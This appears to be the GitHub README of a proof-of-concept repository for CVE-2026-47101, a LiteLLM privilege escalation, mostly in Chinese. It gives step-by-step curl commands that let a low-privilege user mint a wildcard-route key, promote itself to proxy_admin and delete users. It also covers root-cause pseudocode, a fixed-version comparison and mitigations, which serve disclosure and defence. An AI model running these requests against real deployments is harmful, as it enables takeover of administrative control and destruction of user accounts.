learner202649/CVE-2026-47101-PoC

GitHub: learner202649/CVE-2026-47101-PoC

Stars: 0 | Forks: 0

# CVE-2026-47101 — LiteLLM Privilege Escalation via `/key/generate` + `/user/update` | Field | Value | |-------|-------| | **CVE** | **CVE-2026-47101** | | **CVSS v3.1** | **8.8 (HIGH)** — `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` | | **CWE** | CWE-863 (Incorrect Authorization) | | **Affected** | LiteLLM **< 1.83.14**(确认于 v1.82.6) | | **Fixed** | **v1.83.14+**(新增 allowed_routes 角色校验) | | **Published** | 2026-05-21 | | **Discovered by** | Fenix Qiao (13ph03nix) — Obsidian Security | | **Links** | [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-47101) | ## Description LiteLLM 的 `/key/generate` 端点用于生成 API key,`/user/update` 用于更新用户属性。 这两个端点的授权检查存在三个连贯的缺陷,可被低权限用户串联利用: 1. **`/key/generate` 不验证 `allowed_routes`** — 任何角色(包括 `internal_user`)均可请求 `["/*"]` 通配符路由 2. **路由检查回退到 `allowed_routes` 通配符匹配** — 生成的通配符 key 可访问所有管理端点 3. **`/user/update` 允许自修改 `user_role` 字段** — 利用通配符 key 可将自身角色提升为 `proxy_admin` ### 攻击链 internal_user → POST /key/generate {"allowed_routes": ["/*"]} → 获得通配符 API key → POST /user/update {"user_id": "...", "user_role": "proxy_admin"} → 角色提升为 proxy_admin → GET /user/list (使用通配符 key) → 验证管理员访问权限 ## Proof of Concept ### 环境准备 # 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.82.6,digest 固定) docker compose up -d litellm # 等待服务就绪(约 10-30 秒) sleep 15 ### 确认服务运行 # 检查容器日志 docker logs litellm-privesc 2>&1 | tail -10 预期输出应包含 `Uvicorn running on http://0.0.0.0:4000` 等启动成功的日志。 ### Step 1: 创建 internal_user 账户 使用 master key 创建一个低权限的 `internal_user` 账户: curl -s -X POST http://localhost:4000/user/new \ -H "Authorization: Bearer sk-litellm-master-key" \ -H "Content-Type: application/json" \ -d '{"role": "internal_user"}' 预期输出: {"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"} 记下返回的 `user_id` 和 `key`,后续步骤需要用到。 ### Step 2: 生成通配符路由的 API key 以 `internal_user` 身份调用 `/key/generate`,请求带 `["/*"]` 通配符路由的 API key: # 将 sk-internal-user-key 替换为上一步获得的 key curl -s -X POST http://localhost:4000/key/generate \ -H "Authorization: Bearer sk-internal-user-key" \ -H "Content-Type: application/json" \ -d '{"allowed_routes": ["/*"]}' 预期输出: {"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]} ### Step 3: 权限提升至 proxy_admin 使用通配符路由 key 调用 `/user/update`,将用户角色提升为 `proxy_admin`: curl -s -X POST http://localhost:4000/user/update \ -H "Authorization: Bearer sk-wildcard-key" \ -H "Content-Type: application/json" \ -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}' 预期输出: {"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}} ### Step 4: 验证管理员访问权限 通过 `/user/list` 端点验证角色提升生效: curl -s -X GET http://localhost:4000/user/list \ -H "Authorization: Bearer sk-wildcard-key" 预期输出: {"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]} ### Step 5: 扩展 — 删除管理员用户 利用获得的 `proxy_admin` 权限,可以通过 `/user/delete` 删除任意用户: curl -s -X POST http://localhost:4000/user/delete \ -H "Authorization: Bearer sk-wildcard-key" \ -H "Content-Type: application/json" \ -d '{"user_ids": ["user-id-to-delete"]}' 预期输出: 1 ### 一键复现 以上步骤已整合为 `demo.sh`,可直接执行: # 完整复现(包含步骤 1-5) bash demo.sh # 同时测试修复版本对比 bash demo.sh --fixed ## Fixed Version Verification 启动修复版本(v1.83.14-stable)验证漏洞已被修复: # 启动修复版本 docker compose --profile fixed up -d litellm-fixed # 等待就绪 sleep 15 创建 internal_user: FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \ -H "Authorization: Bearer sk-litellm-master-key" \ -H "Content-Type: application/json" \ -d '{"role": "internal_user"}' | \ python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))") echo "Fixed user key: $FIXED_USER_KEY" 尝试生成通配符路由的 key(预期被阻止): curl -s -X POST http://localhost:4001/key/generate \ -H "Authorization: Bearer $FIXED_USER_KEY" \ -H "Content-Type: application/json" \ -d '{"allowed_routes": ["/*"]}' 预期输出(修复版本阻止越权请求): {"error":{"message":"Not allowed","type":"auth_error","code":"403"}} 与有漏洞版本对比: | 测试场景 | 有漏洞版本 (v1.82.6) | 修复版本 (v1.83.14) | |----------|---------------------|---------------------| | internal_user 请求 `["/*"]` | ✅ 成功生成通配符 key | ❌ 被阻止(HTTP 403) | | 通配符 key 修改 user_role | ✅ 成功提升为 proxy_admin | ❌ 被阻止 | | 通配符 key 访问 /user/list | ✅ 成功获取用户列表 | ❌ 被阻止 | ## Vulnerable Endpoints ### `POST /key/generate` 生成新的 API key。`allowed_routes` 参数用于限制 key 可访问的端点路由列表。 | Field | Type | Required | Description | |-------|------|----------|-------------| | `allowed_routes` | array | No | 允许的路由列表,如 `["/*"]` 表示所有路由 | ### `POST /user/update` 更新用户属性,包括 `user_role` 字段。 | Field | Type | Required | Description | |-------|------|----------|-------------| | `user_id` | string | Yes | 要更新的用户 ID | | `user_role` | string | Yes | 新角色(如 `proxy_admin`) | ## Exploitation Technique ### Step 1: 生成通配符路由的 API key 作为 `internal_user`,调用 `/key/generate` 请求带 `["/*"]` 的 key: POST /key/generate Authorization: Bearer sk-internal-user-key Content-Type: application/json {"allowed_routes": ["/*"]} 响应中包含新的 API key,该 key 拥有通配符路由权限。 ### Step 2: 提升角色为 proxy_admin 使用通配符 key 调用 `/user/update`: POST /user/update Authorization: Bearer sk-wildcard-key Content-Type: application/json {"user_id": "target-user-id", "user_role": "proxy_admin"} ### Step 3: 验证管理员权限 GET /user/list Authorization: Bearer sk-wildcard-key ## Root Cause Analysis 漏洞根因位于三处独立的授权检查缺失: ### 1. `/key/generate` — 缺少 allowed_routes 角色校验 `/key/generate` 端点接受 `allowed_routes` 参数并直接将其与 key 关联,**不对请求者的角色进行校验**。即使是 `internal_user` 也可以请求管理员级别的路由权限。 # 有漏洞的伪代码 — 未校验角色 @app.post("/key/generate") async def generate_key(params, user_api_key_dict): # 仅验证了 API key 有效性 # 未检查 user_role 是否允许请求 allowed_routes allowed_routes = params.get("allowed_routes", []) new_key = create_key(user=user, allowed_routes=allowed_routes) return {"key": new_key} ### 2. 路由授权回退到 allowed_routes 通配符匹配 中间件在检查路由权限时,若用户角色级授权检查失败,会**回退到检查 API key 的 `allowed_routes` 列表**。由于 `["/*"]` 匹配所有路由,所有管理端点均被放行。 # 有漏洞的伪代码 — 路由检查回退逻辑 async def authorize_request(request, api_key): # 用户角色检查失败后回退到 allowed_routes if not user_role_authorized(request, api_key.user): # 检查 allowed_routes — ["/*"] 匹配所有 if not any(match_route(route, request.path) for route in api_key.allowed_routes): return HTTP_403 return HTTP_200 ### 3. `/user/update` — 允许自修改 user_role `/user/update` 端点更新用户属性时,**允许用户修改自己的 `user_role` 字段**,未做限制。只有 `proxy_admin` 角色应有权修改用户角色。 # 有漏洞的伪代码 — 未限制 user_role 修改 @app.post("/user/update") async def update_user(params, user_api_key_dict): user_id = params.get("user_id") updates = {} if "user_role" in params: updates["user_role"] = params["user_role"] # 未做权限校验! update_user_in_db(user_id, updates) return {"user_id": user_id, "data": updates} ## Patch Analysis (v1.83.14) 修复版本在以下三个方面增加了授权检查: 1. **`/key/generate`** — 新增 `allowed_routes` 参数校验:普通用户不能请求管理员级别的路由权限 2. **路由授权** — 修复回退逻辑,确保用户角色检查优先级高于 `allowed_routes` 3. **`/user/update`** — 限制 `user_role` 字段修改权限:仅 `proxy_admin` 可以修改用户角色 ## Repository Structure CVE-2026-47101/ ├── README.md # This file ├── CVE-2026-47101_漏洞复现报告.docx # Reproduction report (Chinese) ├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM ├── config.yaml # LiteLLM config with database connection ├── requirements.txt # Python dependencies ├── demo.sh # One-click reproduction script ├── exploit/ │ ├── exploit.py # Python exploit script │ └── payload.py # Payload builders ├── docs/ └── screenshots/ ## Mitigation 1. **Upgrade** to LiteLLM **v1.83.14+** (fixed authorization checks) 2. **Restrict** API key privileges — enforce least privilege for `allowed_routes` 3. **Audit** existing users and keys for signs of privilege escalation 4. **Monitor** `/user/update` calls with `user_role` changes for anomalous activity ## References - [NVD Detail](https://nvd.nist.gov/vuln/detail/CVE-2026-47101) - [GitHub Security Advisory](https://github.com/BerriAI/litellm/security/advisories) - [Obsidian Security Advisory](https://www.obsidiansecurity.com/blog)